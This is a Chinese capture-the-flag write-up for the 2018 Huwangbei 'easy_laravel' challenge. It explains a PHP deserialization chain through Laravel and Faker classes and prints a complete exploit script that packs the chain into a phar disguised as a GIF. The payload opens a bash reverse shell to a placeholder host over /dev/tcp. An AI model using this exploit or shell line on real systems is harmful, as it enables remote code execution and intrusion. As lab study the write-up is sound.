2018护网杯easy_laravel 利用POP Chian getshell

出题的师傅已经把docker环境放到了github上

https://github.com/sco4x0/huwangbei2018_easy_laravel

可以自己环境部署,关于如何通过sql注入变成管理员请参考这位师傅的博客

http://www.venenof.com/index.php/archives/565/

下面是在你已经成为管理员,为了方便我直接修改了代码,将UploadController$this->middleware(['auth', 'admin']); 注释掉。

根据这篇文章

https://paper.seebug.org/680/

我们知道,phar协议在涉及到文件操作的时候存在反序列化。

下面我们的目标是如何找POP Chain。在vendor 这个文件夹下面,搜索__destructcall_user_func

我找到了下面两个文件。

Illuminate\Broadcasting\PendingBroadcast.php

<?php

namespace Illuminate\Broadcasting;

use Illuminate\Contracts\Events\Dispatcher;

class PendingBroadcast
{
    protected $events;
    protected $event;

    public function __construct(Dispatcher $events, $event)
    {
        $this->event = $event;
        $this->events = $events;
    }
    public function __destruct()
    {
        $this->events->fire($this->event);
    }
    public function toOthers()
    {
        if (method_exists($this->event, 'dontBroadcastToCurrentUser')) {
            $this->event->dontBroadcastToCurrentUser();
        }

        return $this;
    }
}

Faker\Generator.php

<?php

namespace Faker;

class Generator
{
    protected $providers = array();
    protected $formatters = array();

    public function addProvider($provider)
    {
        array_unshift($this->providers, $provider);
    }

    public function getProviders()
    {
        return $this->providers;
    }

    public function seed($seed = null)
    {
        if ($seed === null) {
            mt_srand();
        } else {
            if (PHP_VERSION_ID < 70100) {
                mt_srand((int) $seed);
            } else {
                mt_srand((int) $seed, MT_RAND_PHP);
            }
        }
    }

    public function format($formatter, $arguments = array())
    {
        return call_user_func_array($this->getFormatter($formatter), $arguments);
    }

    public function getFormatter($formatter)
    {
        if (isset($this->formatters[$formatter])) {
            return $this->formatters[$formatter];
        }
        foreach ($this->providers as $provider) {
            if (method_exists($provider, $formatter)) {
                $this->formatters[$formatter] = array($provider, $formatter);

                return $this->formatters[$formatter];
            }
        }
        throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));
    }

    public function parse($string)
    {
        return preg_replace_callback('/\{\{\s?(\w+)\s?\}\}/u', array($this, 'callFormatWithMatches'), $string);
    }

    protected function callFormatWithMatches($matches)
    {
        return $this->format($matches[1]);
    }

    public function __get($attribute)
    {
        return $this->format($attribute);
    }

    public function __call($method, $attributes)
    {
        return $this->format($method, $attributes);
    }
}

先解释两个魔术方法

__destruct 销毁对象的时候会自动调用该方法

__call当对象调用不存在的方法时会自动调用该函数

那么POP chain就比较明显了,先创建一个Generator实例,然后将其赋值给PendingBroadcastevents。当PendingBroadcast自动销毁时会调用Generatorfire方法,但是fire方法不存在,所以自动调用__call方法,__call方法调用了format方法,format里面的两个参数都可控,这样就可以RCE了。

可能解释的不是很清楚,具体利用看下面的脚本。

<?php
namespace Illuminate\Broadcasting{
    class PendingBroadcast
    {

        protected $events;

        protected $event;

        public function __construct($events, $event)
        {
            $this->event = $event;
            $this->events = $events;
        }


        public function __destruct()
        {
            $this->events->fire($this->event);
        }
    }
}



namespace Faker{
    class Generator
    {
        protected $formatters;

        function __construct($forma){
            $this->formatters = $forma;
        }

        public function format($formatter, $arguments = array())
        {
            return call_user_func_array($this->getFormatter($formatter), $arguments);
        }

        public function getFormatter($formatter)
        {
            if (isset($this->formatters[$formatter])) {
                return $this->formatters[$formatter];
            }
        }

        public function __call($method, $attributes)
        {
            return $this->format($method, $attributes);
        }
    }
}


namespace{
    $fs = array("fire"=>"system");
    $gen = new Faker\Generator($fs);
    $pb = new Illuminate\Broadcasting\PendingBroadcast($gen,"bash -c 'bash -i >& /dev/tcp/vpsip/9999 0>&1'");
    $p = new Phar('./1.phar', 0);
    $p->startBuffering();
    $p->setStub('GIF89a<?php __HALT_COMPILER(); ?>');
    $p->setMetadata($pb);
    $p->addFromString('1.txt','text');
    $p->stopBuffering();
    rename('./1.phar', '3.gif');
}
?>

然后将上面脚本生成的3.gif 上传然后,通过控制path参数和filename参数使得file_exists("phar:///usr/share/nginx/html/storage/app/public/3.gif/1.txt"),然后就可以getshell了。

成功get shell。

参考链接:

源链接

Hacking more

...